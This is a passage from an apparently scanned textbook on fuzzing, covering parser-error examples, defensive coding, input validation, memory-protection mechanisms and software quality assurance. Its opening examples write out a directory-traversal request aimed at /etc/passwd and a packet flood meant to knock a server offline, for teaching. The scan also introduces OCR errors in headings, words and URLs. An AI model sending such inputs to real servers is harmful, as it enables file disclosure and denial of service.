[Client]-> “user jared\r\n”

7. Parse error: Wrong number of statement helpers such as “../°, <’ <(’, [, etc.
Many network protocols such as HTTP have multiple special chapters such
as 7, “\\”, etc. Unexpected behavior or memory corruption issues can creep
in if parsers are not written very carefully.

[Client]-> “user jared\r\n”

“user Ok. Provide pass.\r\n” <-[Server]

[Client]-> “pass jared\r\n”

“pass Ok. Logged in. Proceed with next command.\r\n” <-[Server]
[Client]-> “get [1] files: {{../../../../etc/password\r\n”

8. Parse error: Timing issue with incomplete command termination. Suppose
we want to DoS the server. Clients can often overwhelm servers with a com-
mand that is known to cause processing to waiting on the server end. Or
perhaps this uses up all the validly allow connections (like a SYN flood?®)
in a given window of time.

[Client]-> “user jared\r” (@ 10000 pkts/second with no read for server response)

2.6.3 Number of Tests

Again, it is obvious that the input space is infinite. This is why heuristics are used.
For example, if a buffer overflow occurs if a particular string is larger than 1,024
bytes, this can be found by sending a string of 1 byte, then 2, then 3, etc. Or it can
be found by sending a string of size 1, 2, 4, 8, etc. It is unlikely that an overflow
will exist that will not be found using this method, and yet it can greatly reduce
the number of test cases. Likewise, it would technically be possible to send totally
random data and get the same effect as using heuristics, but instead of the fuzzer
runtime being finite and reasonable (< than days/weeks) it would be nearly infinite
and therefore unreasonable (> centuries). Furthermore, with an increased number
of tests comes an increased load of logging.

The goal is to cover every unique test case, input space (without too much dupli-
cation or unneeded sessions), and to log the ones that succeed in causing the target
to fail in some way. It is still an open question as to how many test cases are enough,
but using a metric based approach and code coverage results, it may be possible to
shed light on this difficult decision. More on this later in the book.

Defenses

This section focuses on what can be done to mitigate the risks of implementation
errors. There are many coding techniques, hardware/software protections, and fur-
ther system designs that can be put in place to minimize the risk of software failure
or malicious compromise.

To this end, Microsoft’s operating systems since Vista have made significant
strides toward becoming a more secure operating and development platform. Section

26See Section 2.4.5.
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2.7.5 will introduce some of these protections. Other operating systems have other
protections, but a comprehensive discussion is beyond the scope of this book.

2.71 Why Fuzzing Works

Fuzzing has been found effective because manually conceiving and creating every
possible permutation of test data to make good test cases is difficult if not impossible.
Testers try their best, but fuzzing has a way of slamming around to find interesting
corner cases. Of course, intelligent fuzzing is required to advance into multi-leg, or
more complex, protocols. This will be discussed later in this book.

Fuzzing works against any application that accepts input, no matter what pro-
gramming language is used: Java, C++, C, C#, PHP, Perl, or others. However,
applications written in C and C++ are particularly susceptible to fuzzing. Compiled
C code is probably the fastest high-level language. For example, a network server
that needs to be able to run at very high speeds would not be written in Python
or Ruby, because it would be too slow. C would be the best choice for speed. This
is because C provides the programmer the ability to manage low-level operations,
such as memory management (malloc(), free(), etc.).

C and C++ are a hacker’s favorite target languages. This is because C code
traditionally handles its own memory; from static buffer declarations that lead to
stack overflows to heap allocations that can easily go wrong. With the ability to
optimize memory for speed comes the ability to shoot oneself in the foot. General
applications should never be managing their own memory these days. Computers
are fast, and programmers make too many mistakes. It only makes sense to code
in C and manage memory when an application’s speed is more important than an
application’s security, or you have to integrate with legacy code. In these (and really
all) applications, defensive coding should be the norm. Kernels are also written in
C/C++ out of necessity.

2.7.2 Defensive Coding

Defensive coding may also be known as defensive or secure programming. The
general goal is to reduce the number of bugs in software, make the source code
more readable, and keep the software from executing in unpredictable ways. The
following is a short list of some of the guidelines defensive programmers should
keep in mind:?’

1. Reduce code complexity. Never make code more complex that it needs to
be; complexity equals bugs.

2. Source code reviews. All code should be reviewed using automatic source
code auditing tools. Many software development organizations have source
code scanning tools embedded in the build process, and they automatically
look for certain patterns and potentially dangerous functions. For example,
in C, strcpy() should never be used.

27http:/len.wikipedia.org/wiki/Defensive_programming.
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10.

273

Input

Quality control. All code should be thoroughly tested. Fuzz testing is a must
for applications with potentially vulnerable attack surfaces. This should be
part of a full security audit (design review, code review, fuzz testing, and so
on). Software testing is discussed more in Chapter 3.

Code reuse. If there are snippets that have been well tested, reuse is better
than a rewrite when applicable. This saves time (money) and is more secure.
Look out for legacy problems or buggy libraries, however.

. Secure input/output handling. Nothing should be assumed about externally

supplied data. All user input should be rigorously verified before being used
by the application.

Canonicalization. Remember that on Unix-based operating systems /etc/
passwd is the same as /etc/.///[passwd. Input string auditing may require the
use of canonicalization APIs to defend against such tricks.

Principle of least privilege. Avoid running software in privileged modes if
possible. Do not grant more privileges to the application than are needed.

. Assume the worst. If similar applications have had bugs in a particular rou-

tine, assume your code does as well. This follows the Same Bug Different
Application (SBDA) theory, which holds true surprisingly often. A touch of
paranoia is good. All code is insecure even after testing. Defense in depth
is good.

Encryptlauthenticate. Encrypt everything transmitted over networks (when
possible). Local encryption may be employed as well. Use encryption librar-
ies. Mistakes are often made in home-grown encryption. Rolling custom
cryptography is often a bad idea. Use public libraries when possible.

Stay up to date. Exceptions can be better than return codes because they
help enforce intended API contracts, where lazy programmers may or may
not look at return codes. However, recently exception handlers are being
considered bad, because they are often used incorrectly.??

Input Verification

verification, or input handling, is how an application verifies the correctness

of data provided to it via an external source. Improper verification (sanitization)
has led to such bugs as directory traversals, code injections, buffer overflows, and

more.

Some basic filter techniques are

Whitelist. A list of known good inputs. This is a list that essentially says
“a, b, and ¢ are ok; all else is to be denied.” Such a listing is best but is not
always possible.

Blacklist. A list of known bad inputs. This list says, “all are ok, but deny x
and y.” This is not as effective as whitelisting because it relies on the program-
mer’s thinking of every possible troublesome input.

28http://blogs.msdn.com/david_leblanc/archive/2007/04/03/exception-handlers-are-baaad.aspx.
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« Terminate on input problem. This approach terminates as soon as any problem
is found with the provided input data and logs the problem. Software assumes
it is under attack, and will terminate or block further communication.

« Filter input. Takes input, even bad input, and attempts to filter. For example,
if the ‘&’ is a disallowed character, “&jared” would be interpreted as “jared.”
This is not as secure as “Terminate on Input problem,” but often required.

« Formal grammar. Input data can also be verified via a formal grammar
such as XML. In this case, just make sure to use well-tested, secure verifica-
tion software.

Generally, the most secure way to filter input is to terminate on malformed
input by using whitelists.

2.7.4 Hardware Overflow Protection

Buffer overflows have been so troublesome for software developers (and so nice for
hackers) that both hardware and software protections have been developed. In this
section two hardware/software solutions are shown.

2.7.4.1 Secure Bit

Secure bit is an example of a hardware/software overflow solution, which was stud-
ied at Michigan State University. Secure bit is a technology developed to help reduce
the risks of buffer overflow attacks on control data (return addresses and function
pointers). Secure bit requires hardware (processor) and kernel OS modifications.
Secure bit is transparent to user software and is compatible with legacy code.

Secure bit works by marking addresses passed between buffers as insecure. This
is also known as user input tainting. Once data has been tainted, there is no way to
unmark it. If control instructions try to use these marked addresses, an exception
is raised. Robustness and minimal run-time impact are two impressive elements of
the secure bit technology.?’

2.7.4.2 Hardware DEP

Data execution protection (DEP) is a Microsoft hardware/software solution to per-
form additional checks to help prevent malicious exploits from executing in memory.
In Windows Server 2003 with Service Pack 1, XP SP2, Vista and later operating
systems, DEP is enforced by both hardware and software.

Hardware-enforced DEP marks all noncode segments in a process as nonex-
ecutable unless the location explicitly contains executable code. Attacks such as
overflows attempt to insert and execute code from nonexecutable memory locations,

29R. Enbody and K. Piromsopa, “Secure Bit: Transparent, Hardware Buffer-Overflow Protec-
tion,” IEEE Transactions on Dependable and Secure Computing, 3(4)(October 2006): 365-376.
ISSN:1545-5971.
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such as the stack or heap. DEP helps prevent these attacks by raising an exception
when execution is attempted from such locations.

Hardware-enforced DEP relies on processor hardware to mark memory with an
attribute that indicates that code should not be executed from that memory. DEP
functions on a per-virtual-memory-page basis, usually changing a bit in the page
table entry (PTE) to mark the memory page.

The actual hardware implementation of DEP and marking of the virtual memory
page varies by processor architecture. However, processors that support hardware-
enforced DEP are capable of raising an exception when code is executed from a
page marked with the appropriate attribute set.

Both Advanced Micro Devices (AMD) and Intel Corporation have defined and
shipped Windows-compatible architectures that are compatible with DEP.

32-bit versions of Windows Server 2003 with Service Pack 1 utilize the no-
execute page-protection (NX) processor feature as defined by AMD or the Execute
Disable bit (XD) feature as defined by Intel. In order to use these processor features,
the processor must be running in Physical Address Extension (PAE) mode. The
64bit versions of Windows use the NX or XD processor feature on 64-bit exten-
sion processors and certain values of the access rights page table entry (PTE) field
on IPF processors.

2.7.4.3 Control-flow Enforcement Technology

Control-flow enforcement technology (CET)° is a hardware solution that is designed
to prevent usage of exploitation techniques that divert control flow instructions from
their original target address to an address pointed by the attacker, which happens
for example when the stack is overwritten. The main features in CET are shadow
stack and indirect branch tracking.

Shadow stack is designed to prevent attacker from altering the return address
after it is pushed in the stack. When activated, CALL instruction pushes the return
address to the data stack and shadow stack. On RET instruction the return address
is popped from both stacks and compared, if an attacker has modified the return
address the value from data stack is not equal to the value from shadow stack and
an exception is raised.

In addition to addresses in stack, program execution can also be changed in
to an address that is stored outside of the stack, with commands like call and jmp.
Indirect branch tracking implements a new ENDBRANCH instruction that is used
to mark valid target for this type of control flow changes. When the CPU executes
call or jump, the next instruction has to be ENDBRANCH, or an exception is raised.

2.7.5 Software Overflow Protection

This section will present some of the software protections that are available to try
to mitigate the effects of buffer overflows. The idea is that no one protection is suf-
ficient and that a defense in depth strategy is required.

30https://software.intel.com/sites/default/files/managed/4d/2a/control-flow-enforcement-technology-
preview.pdf.
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2.751 GS

The Buffer Security Check (“/GS” compile flag) is a Microsoft Visual Studio C++
compile option that works by placing a cookie (referred to as a canary in other
technologies) on the stack, between the return address and local variables, as each
function is called. This cookie is initialized to a new value each time the application
is run. The integrity of the cookie is checked before a function returns. If a buffer
overflow occurred, which normally overwrites a contiguous block of data values,
the cookie will have been altered, and the application will terminate with an error.
Guessing the cookie value is difficult, but much work has been done on defeating
canary-based stack protection.3!-32

2.7.5.2 Software DEP

An additional set of DEP security checks has been added since Windows Server
2003 with Service Pack 1. These checks, known as software-enforced DEP, are
designed to mitigate exploits of exception handling mechanisms in Windows. By
default, software-enforced DEP protects only limited system binaries, regardless of
the hardware-enforced DEP capabilities of the processor.

Software-enforced DEP performs additional checks on exception handling
mechanisms in Windows. If the program’s image files are built with Safe Struc-
tured Exception Handling (SafeSEH), software-enforced DEP ensures that before
an exception is dispatched, the exception handler is registered in the function table
located within the image file.

If the program’s image files are not built with SafeSEH, software-enforced DEP
ensures that before an exception is dispatched, the exception handler is located
within a memory region marked as executable.

2.7.5.3 ASLR

Address space layout randomization (ASLR) randomizes the memory locations used
by system files and other programs, making it harder for exploits to call code from
process memory. ASLR was introduced in Windows Vista, and is used in subsequent
versions of Windows. This type of technology is widely used in all operating systems.

2.7.5.4 SafeSEH and more

Figure 2.9 shows all of the security enhancements added in the Vista platform.
Each of these will not be explained as that is not the focus of this book. However,
a few of the hardware and software protections have been discussed. SafeSEH will
be further detailed because it is very interesting to hackers.

There is a class of attacks used by hackers and security researchers, against
Windows, called an SEH overwrite. SEH is short for Structured Exception Handler.

31D. Litchfield, “Defeating the Stack Based Overflow Prevention Mechanism of Microsoft Windows
2003 Server,” Sept. 2003, crypto.stanford.edu/cs1550ld/cs155-spring08/papers/litch.pdf.

32 Analysis of GS protections in Microsoft® Windows Vista™ Ollie Whitehouse, Architect, Symantec
Advanced Threat Research. http://www.symantec.com/avcenter/reference/GS_Protections_in_Vista

.pdf.
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Figure 2.9 Overview of Microsoft Windows Vista’s security enhancements. (Security Implications of
Microsoft® Windows Vista™,” Symantec Advanced Threat Research, www.symantec.com/avcenter/
reference/Security_Implications_of_Windows_Vista.pdf.)

In the case of a stack overflow, even if a return address cannot be affected, if an
exception handler address can be overwritten, malicious execution control can
still be obtained. On the next exception, Windows will attempt to execute code at
the address pointed to by the overwritten exception pointer. To limit the success
of such attacks, Microsoft developed SafeSEH, which is the heart of the Software
DEP described in the previous section. Again, SafeSEH works by not allowing an
SEH pointer to be an arbitrary value. It must point to a registered exception han-
dler (as opposed to some spot in the heap or stack like an attacker would prefer).
However, if the attack returns to code in any module not protected by SafeSEH,
the attack may still succeed.??

2.7.5.5 PAX and ExecShield

PAX from the GRSec family of kernel patches and ExecShield (originally from Red-
Hat) are both methods of marking data memory as nonexecutable and by marking
the program memory as nonwritable on the Linux operating systems. The result of
these protections is the lack of memory pages that are both writable and executable.
This method helps to protect the system from code that has been injected into the
process through a vulnerability. Although there has been heated debate and exploit
workarounds for both of these solutions, it is an excellent safeguard against most

33More information about bypassing SafeSEH see for example http://sploitfun.blogspot.fi/2012/10/
bypassing-safeseh.html.
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generic exploitation attempts. The exact implementation of these technologies has
subtle differences, and is worth investigating.

2.7.5.6 StackGuard

StackGuard is also a protection mechanism on Linux, but uses a slightly different
method than the previous two protections mentioned. It is more akin to the GS
compiler flag from Microsoft. StackGuard uses a canary value that gets checked
after a function call, and when destroyed, shows that a stack overflow has occurred
somewhere in the preceding code.

2.7.5.7 Control Flow Guard

Control Flow Guard (CFG) is a security feature in Windows platform that protects
from memory corruption vulnerabilities.>* CFG creates a link of valid memory
addresses where functions begin, restricting exploits to jump elsewhere in memory.
This feature is available in Microsoft Visual Studio 2015, and runs on CFG-Aware
versions of Windows—the x86 and x64 releases for the desktop and server of Win-
dows 10 and Windows 8.1 Update (KB3000850).3°

Summary

Fuzzing used to be a secretive activity. Although developed through publicly avail-
able research, mostly only government agencies and underground hackers performed
fuzzing as part of their vulnerability assessment practices. But now, as is evidenced
by this book, it is an openly talked about subject. As fuzzing blends more and more
with the software development process, university courses that talk about fuzzing
have appeared. Fuzzing is already a frequent subject at most security conferences
like BlackHat, Defcon, Chaos Communication Congress (CCC), CanSecWest, and
Toorcon. A large percent of all vulnerabilities are reported to have been found via
fuzz testing.

Chapter 2 was intended to whet one’s appetite for bug hunting by presenting
various types of bugs, defenses, security career paths, and more. This hopefully has
made you hunger for the more in-depth chapters on fuzzing and available fuzz tools,
as well as given you a solid introduction into the security mindset and community
experiences of those who have worked for years in security.

3%https://msdn.microsoft.com/en-us/library/windows/desktop/mt6370635.
3Shttps://documents.trendmicro.com/assets/wp/exploring-control-flow-guard-in-windows10.pdf.
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3.1

The purpose of this chapter is to give you some relevant background information
if you would like to integrate any form of fuzzing into your standard software
testing processes. This topic may be familiar to you if you have experience in any
type of testing including fuzzing as part of the software development process. You
might disagree with some of the arguments presented. This is not exactly the same
information you would find in generic testing textbooks, rather, it is based on our
practical real-life experience. And your experience might differ from ours.

Our purpose is not to describe testing processes and experiences, but we urge
you to look for a book on testing techniques, if you are interested in learning more
on this topic. Indeed, many of the topics discussed in this chapter have been touched
on in the amazing book called Software Testing Techniques, 2nd edition, written by
Boris Beizer in 1990. Back then, fuzzing was called syntax testing or fault injection,
as you will learn here. We highly recommend that you read that book if you work
in a testing profession. In this chapter, we will look at fuzzing from the eyes of a
quality assurance professional, identifying the challenges of integrating fuzzing in
your QA methods. We will leverage the similar nature of fuzzing when compared
to more traditional testing techniques in functional testing.

For readers with a security background, this chapter gives an overview of the
quality assurance techniques typically used in the software development life cycle
(SDLC), with the purpose of introducing common terminology and definitions.

The focus is on testing approaches that are relevant to fuzzing techniques,
although we briefly mention other techniques. To those who are new to both the
security assessment and testing scenes, we provide all the information you will need
to get started. We also recommend further reading that will give you more detailed
information on any of the presented testing approaches.

Quality Assurance and Security

How is quality assurance relevant to the topic of fuzzing? In short, software qual-
ity issues, such as design flaws or programming flaws, are the main reason behind
most, if not all, known software vulnerabilities. Quality assurance practices such as
validation and verification, and especially software testing, are proactive measures
used to prevent the introduction of such flaws, and to catch those quality flaws that
are left in a product or service before its initial release. Fuzzing is one of the tools
that will help in that process.

73
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On the other hand, traditional vulnerability assurance practices have typically
taken place in a very late phase of the software development life cycle. Most security
assessments are reactive: They react to security-related discoveries (bugs) in software.
They focus on protecting you from known attacks and in identifying known vul-
nerabilities in already deployed systems. Although traditional security assessment,
consisting of running security scanners and other vulnerability detection tools,
does not attempt to find anything new and unique, it is still well suited for postde-
ployment processes. But for really efficient QA purposes, we need something else.

The main reason why we will discuss quality assurance in this book is to show
how current quality assurance processes can be improved if fuzzing is integrated
within them. Fuzzing is very different from vulnerability scanners, as its purpose is
to find new, previously undetected flaws. The discovery of those flaws after deploy-
ment of the software is costly. Fuzzing tools are very much like any traditional test-
ing tools used in quality assurance practices. Still, unfortunately, fuzzing is often
not part of the product development process. Security assessment using fuzzing is
almost always performed on a completed or even deployed product. Only vulner-
ability assessment professionals usually conduct fuzzing. Hopefully, this will begin
to change as testers realize the benefits that fuzzing can bring to the process.

Quality assurance is also an interesting topic to vulnerability assessment people
due to the possibility of learning from those practices. Although security experts
often focus on looking for known vulnerabilities in released products, sometimes
the processes and tools used by security assessment experts can be very similar to
those used by quality assurance professionals who take a more proactive approach.
Vulnerability assessment professionals already use many of those same processes
and tools, as you will see.

3.1.1 Security in Software Development

Security testing, as part of a quality assurance process, is a tough domain to explain.
This is partly because of the vagueness of the definition. As far as we know, there is
no clear definition for security testing. Far too many product managers view security
as a feature to be added during software development. Also, for some end users,
security is a necessary but very difficult-to-define property that needs to be added
to communications products and services. Both of these definitions are partly cor-
rect, as many security requirements are fulfilled with various security mechanisms.

Think of encryption or authentication. These are typical security features that
are implemented to protect against various mistakes related to confidentiality and
integrity. A security requirement will define a security mechanism, and testing for
that requirement can sometimes be very difficult. Some R&D managers have a
misconception that when all security requirements have been tested, the security
test is complete. For example, a team of developers at a company we worked with
felt they had excellent security and had designed their applications with security in
mind at every step of development. They implemented complex authentication and
authorization code and utilized strong encryption at all times. However, they had
never heard of buffer overflows and command injection flaws, or didn’t think they
were relevant. Consequently, their applications were vulnerable to many of these
implementation-level vulnerabilities.
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3.1.2 Security Defects

One of the main reasons behind compromises of security are implementation mis-
takes—simple programming errors that enable the existence of security vulner-
abilities—and the existence of attacks such as viruses and worms that exploit those
vulnerabilities. End users neither care to nor have the skills necessary to assess the
security of applications. They rely on quality assurance professionals and, unwit-
tingly, on security researchers.

Certainly, some security features may be of interest to end users, such as the
presence and strength of encryption. Nevertheless, flaws such as buffer overflows
or cross-site scripting issues comprise a majority of security incidents, and malicious
hackers abuse them on a daily basis. It is uncommon that anyone actually exploits
a flaw in the design of a security mechanism, partly because those techniques are
today based on industry-proven reusable libraries. For example, very few people will
implement their own encryption algorithm. In general, it is a very bad idea to imple-
ment your own security library, as you are almost doomed to fail in your attempt.
This is another example in which it doesn’t make sense to reinvent the wheel.

In software development, quality assurance practices are responsible for the
discovery and correction of these types of flaws created during the implementation
and design of the software.

Measuring Quality

What is good enough quality? How do we define quality? And how can we measure
against that quality definition? These are important questions, especially because
it is impossible with current technologies to make complex code perfect. In all
quality assurance-related efforts, we need to be able to say when the product is
ready. Like the software developer who defines code as being ready by stating that
“it compiles,” at some point testers need to be able to say “it works and is mostly
free of bugs.” But, as everyone knows, software is far from ready when it compiles
for the first time. In similar fashion, it is very difficult to say when software really
works correctly.

Similarly, product security is also a challenging metric. When can we say that
a product is secure enough, and what are the security measures needed for that?

3.2.1 Quality Is About Validation of Features

The simplest measurement used in testing is checking against the features or use
cases defined in the requirement or test specifications. These requirements are then
directly mapped to individual test cases. If a test cycle consists of a thousand tests,
then each test has to have a test verdict that defines whether it passed or failed.

A requirement for systematic testing is that you know the test purpose before-
hand. This is the opposite of kiddie testing, in which any bug found in the test is
a good result, and before the test is started there is very little forecast as to what
might be found. Note that we do not want to downplay this approach—on the
contrary! Any exploratory testing approaches are very good at testing outside the
specifications, and a good exploratory tester will always find unexpected flaws in
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software. The out-of-the-box perspective of exploratory testing can reveal bugs
that might be missed by testers blinded by the specifications. But there is always a
risk involved when the quality of the tests is based on chance and on the skills of
the individual tester.

Common technique for defining test success in functional, feature-oriented
black-box testing is by using an input/output oracle, which defines the right coun-
terpart for each request (or the right request to each response if testing client soft-
ware). Similarly, if you are able to monitor the internals of the software, an oracle
can define the right internal actions that have to be performed in a test.

A 100% success rate based on feature testing means everything that was speci-
fied in the test specification was tested, and the software passed the specified tests.
This metric is very feature-oriented, as it can be very challenging to proactively
assign verdicts to some tests during the test specification phase.

Fuzzing is an excellent example in which a test can consist of millions of test
cases, and whether each test case passes or fails is very difficult to assess. A strict
test plan that requires a pass/fail criterion for every single test case in the specifica-
tion phase will restrict the introduction of new testing techniques such as fuzzing.
Let’s look at an example from the fuzzing perspective.

In the protocol standardization side, IETF has defined a set of tests for test-
ing different anomalous communication inputs for the SIP! protocol. IETF calls
these test specifications torture tests. Many commercial test tools implement these
tests, but when you think about them from a fuzzing perspective, the test coverage
in these specifications is very limited. An example test description from SIP RFC
4475 is shown below:

3.1.2.4. Request Scalar Fields with Qverlarge Values
This request contains several scalar header field values outside
their legal range.

0 The CSeqg sequence number is >2**32-1.

0 The Max-Forwards value is >255.

0 The Expires value is >2**32-1.

0 The Contact expires parameter value is >2**32-1.
An element receiving this request should respond with a 400 Bad
Request due to the CSeq error. If only the Max-Forwards field
were in error, the element could choose to process the request as
if the field were absent. If only the expiry values were in
error, the element could treat them as if they contained the
default values for expiration (3600 in this case).
Other scalar request fields that may contain aberrant values
include, but are not limited to, the Contact g value, the
Timestamp value, and the Via ttl parameter.

Most negative tests actually come in predefined test suites. The first such test
suites were released by the PROTOS research from the University of Oulu. PRO-
TOS researchers have provided free robustness testing suites for numerous proto-
cols since 1999, including tests for SIP released in 2002. One PROTOS test case

TETF RFC 4475 “Session Initiation Protocol (SIP) Torture Test Messages.”
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description in which the SIP method has been replaced with an increasing string of
a characters is shown below:

aaaaaaaaaaaaaaaaa sip:<To> SIP/2.0
Via: SIP/2.0/UDP <From-Address>:<Local
Port>;branch=z9hG4bK00003<Branch-1D>
From: 3 <sip:<From>>;tag=3

To: Receiver <sip:<To>>

Call-ID: <Call-ID>@<From-Address>
CSeq: <CSeqg> INVITE

Contact: 3 <sip:<From>>

Expires: 1200

Max-Forwards: 70

Content-Type: application/sdp
Content-Length: <Content-Length>

v=0

0=3 3 3 IN IP4 <From-Address>
s=Session SDP

c=IN IP4 <From-IP>

t=0 0

m=audio 9876 RTP/AVP 0
a=rtpmap:0 PCMU/8000

PROTOS uses a BNF-style grammar to model the entire communication pro-
tocol, and that can be seen in the generated test case descriptions as <tag> elements
that represent changing values in the test cases. The test execution engine, or test
driver, will replace these fields with the dynamic values required during the execu-
tion of the test.

Asyou can see, the [IETF approach is rather different from the PROTOS approach.
Instead of a limited coverage of tests for each test requirement, the PROTOS SIP
test suite contains more than 4,500 individual test cases that systematically add
anomalies to different header elements of the protocol. Instead of one test case per
negative requirement, the test suite will execute a range of tests to try out different
unexpected values and exercise unusual corner cases. Test cases can be configured
with command-line options, and some dynamic functionality has been implemented
for protocol elements such as Content-Length, as shown above. PROTOS tests were
generated using a proprietary Mini-Simulation technology, which basically can be
thought of as a general-purpose fuzzing framework.? In the IETF torture test suite,
the correct responses to error situations are defined, whereas PROTOS ignores the
responses and does not try to define the correct behavior under corrupted or hostile
situations. The approach of defining the responses to attacks limits the possible test
coverage of torture tests and any other testing approach based on test requirements
and use cases. Most fuzzers behave the same way as PROTOS suites did—that is,
the responses are rarely checked against any test oracle.? For those testers who

2The PROTOS Mini-Simulation framework was later acquired by Codenomicon.
3A test oracle is the automated decision-making process that compares the received responses against
expected responses (input/output oracle) and makes the verdict if behavior was correct.
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have trouble thinking about using test cases in which the response is unknown, it
is important to note that the purpose of fuzzing is not about verifying features, it
is about finding crash-level defects.

3.2.2 Quality Is About Finding Defects

Quality assurance aims to reduce defects in software through two means. The first
way is by making it more difficult for people to introduce the defects in the first
place. The second, and more relevant means of defect reduction from the fuzzing
perspective, is using various methods of finding bugs. When integrating fuzzers into
quality assurance, you need to remember both these requirements.

Quality assurance should not only be about validating correctness. Sometimes
finding just one flaw is enough proof of the need for improvement, and whether
it takes fifty or five million tests to find it is irrelevant. If you find one flaw, you
can be sure that there are others. Bugs often appear in groups, and this is typical
because the same person (or team) tends to make similar mistakes in other places in
their code. A common process failure created by the traditional patch-and-penetrate
race is that when in a hurry, a person tends to focus all efforts on finding and fix-
ing that one specific flaw, when the same flaw could be apparent just 10 lines later.
Even a good programmer can make mistakes when in a hurry, or when having a
bad day. If a programmer does not pay attention to the entire module when fixing
security problems, he or she will most probably never have a chance to review that
piece of code again.

Quality assurance is hunting for bugs in software, by whatever means. This
should be the mental mode for testers: Testers are bug hunters. It is quite common
that in real-life software development, there might be no real bug hunters involved
in the testing process at all. The results of this type of destructive testing can be
annoying to some organizations that are more used to the positive thinking of
validating and verifying (V&V) functionality. Still, the ultimate purpose is not to
blame the designers and the programmers for the found flaws, but rather find and
remove as many problems as possible.

3.2.3 Quality Is a Feedback Loop to Development

Quality assurance is also used to validate the correctness of the development process.
For quality assurance people, the driving motivation is to be able to assist devel-
opers in building better systems and potentially to improve the software develop-
ment process at the same time. A category of flaws that consistently appears and is
caught in the late phases of software development calls for a change in earlier steps
in the process. Security flaws are a good example of such a flaw category. If buffer
overflow vulnerabilities are consistently found in products ready to deploy, the best
solution is to radically improve the development practices.

Note that many security flaws go by different names in different phases of the
software development process. During unit testing, a tester might presume that a
boundary value flaw is not critical and will not label the bug as such. But the same
boundary value flaw may be labeled as critical if detected during integration testing.
Understanding these links is critical, so that people use the same terminology and
have the same understanding of severity of bugs when discussing flaws.
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3.2.4 Quality Brings Visibility to the Development Process

Quality assurance is a metric of the software development process. With good
quality assurance processes, we are able to get visibility into the software develop-
ment process and the current status of the software. Integration of system units and
software modules is one measurement of the software process.

When a module is ready and tested, it can be labeled as completed. The soft-
ware industry is full of experiences in which the software has been 90% ready for
half of the development time. Security testing should also be an integral part of the
software development life cycle and not a delay at the end that adds to this miscon-
ception of almost ready. Knowing the place and time for security testing enables
product managers to understand the requirements of security testing from a time
(and money) perspective.

3.2.5 End Users’ Perspective

Quality assurance is a broad topic and we need to narrow it down to be able to
explain the selected parts in enough detail. Defining quality is a challenging task,
and different definitions apply to different categories of quality. For example, tests
that validate security properties can be very complex, and trust in their verdicts is
sometimes limited. The definition of quality depends on who is measuring it.

For many testers, the challenge is how to measure and explain the efficiency of
quality assurance so that the end customer will understand it. Quality assurance
needs to be measurable, but the customer of the quality assurance process has to
be able to define and validate the metrics used. In some cases, the customer has to
also be able to rerun and validate the actual tests.

Our purpose in this book is to look at quality from the security testing perspec-
tive, and also to look at quality assurance definitions mainly from the third-party per-
spective. This, in most cases, means we are limited to black-box testing approaches.

Testing for Quality

Testing does not equal quality assurance. The main goal of testing is to minimize
the number of flaws in released products. Testing is part of a typical quality assur-
ance process, but there are many other steps before we get to testing. Understanding
different quality assurance methods requires us to understand the different steps
in the software development life cycle (SDLC). There have been many attempts to
describe software development processes, such as the waterfall approach, iterative
development, and component-based development.

3.3.1 V-Model

V-model is not necessarily the most modern approach to describing a software devel-
opment process. In real life, software development rarely follows such a straightfor-
ward process. For us, the V-model still offers an interesting view of the testing side
of things in the SDLC. Analyzing the software development from simple models is
useful no matter what software development process is used. The same functional
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methods and tools are used in all software development including agile methods
and spiral software development processes.

The traditional V-model is a very simplified graphical view of typical software
development practices. It maps the traditional waterfall development model into
various steps of testing. Note that we are not promoting the V-model over any other
software development model. You should not use the V-model in your real-life soft-
ware development without careful consideration. Let’s analyze the steps in typical
V-model system development, shown in Figure 3.1.

The phases on the left-hand side are very similar to the overly simplified school-
book waterfall model of software development. It goes through the different steps,
from gathering requirements to the various steps of design and finally to the pro-
gramming phase. To us, the goal of the V-model is to enforce natural system bound-
aries at various steps and to enforce test-driven development at different levels of
integration. The requirements step results in creation of the acceptance criteria
used in acceptance testing. The first set of specifications describes the system at a
high level and sets the functional criteria for system testing. Architectural design
makes decisions on high-level integration of components that will be used to test
against in integration testing. Finally, detailed design defines the most detailed
testable units and the test criteria of unit testing. The V-model does not consider
the different purposes of testing; it only looks at the different levels of integration.
There are many specifics missing from the V-model when viewed from the security
testing perspective. Nevertheless, it is a good starting point when used in black-box
testing processes.

3.3.2 Testing on the Developer’s Desktop

Another set of quality assurance practices takes place even before we enter the testing
phase inside a typical waterfall model of software development. A majority of bugs
are caught in the programming phase. All the tools in the developer’s desktop are
tuned to catch human errors made during the programming and building phases.

Requirements )'Acceptance criteria Acceptance testing

System specification unctional criteria System testing
Architectural design _Integration criteria Integration testing

Detailed design Unit testing

N3

Implementation

Figure 3.1 V-model for the system development life cycle.
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When code is submitted to build, it typically goes through rigorous code auditing.
This can be either manual or automated. Also, manual programmers use fuzzing
as part of unit testing.

3.3.3 Testing the Design

Software inspections and peer reviews are static analysis approaches to assessing
various attributes in software development documentation and code. Verification
of the design phase requires a formal review and complex automation tools. The
formal methods employed can include mathematical proofs of encryption algorithms
and analyses of the message flows used. For example, when a new protocol specifi-
cation is being designed, the dynamic operation of the protocol message exchange
needs to be carefully analyzed from the security perspective.

State machines in complex interfaces can also act as a source of information for
black-box testing. Test automation can help in trying out a complex state machine
to ensure that there are no deadlocks or unhandled exceptional situations.*

Main Categories of Testing

Software quality assurance techniques such as testing can be based on either static
analysis or dynamic analysis. Static analysis is offline analysis that is done to the
source code without any requirement to run the code. Dynamic analysis is a runtime
method that is performed while the software is executing. A good test process can
combine both of these approaches. For example, code optimization tools can aug-
ment the code when the code is executed with information that can later be used
in a static analysis. There are many different ways that the methods of testing can
be partitioned.

3.4.1 Validation Testing versus Defect Testing

Sommerville’ divides testing into validation testing and defect testing. The purpose
of validation testing is to show that the software functions according to user require-
ments. On the other hand, defect testing intends to uncover flaws in the software
rather than simulate its operational use. Defect testing aims at finding inconsisten-
cies between the system and its specification.

3.4.2 Structural versus Functional Testing

Another division of testing is based on access to the source code. These two catego-
ries are structural testing and functional testing.

Structural testing, or white-box testing, uses access to the source code to reveal
flaws in the software. Structural testing techniques can also be used to test the

“An example of test automation framework that generates test cases from a state chart is the Con-
formiq Test Generator. www.conformiq.com/.
STan Sommerville. Software Engineering, 8th ed. New York: Addison Wesley, 2006.
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object code. Structural testing can be based on either static or dynamic analysis, or
their combination. The focus is on covering the internals of the product in detail.
Various source code coverage techniques are used to analyze the depth of structural
testing. One example of white-box testing is called unit testing, which concentrates
on testing each of the functions as you see them in the code.

Functional testing, or black-box testing, tests the software through external
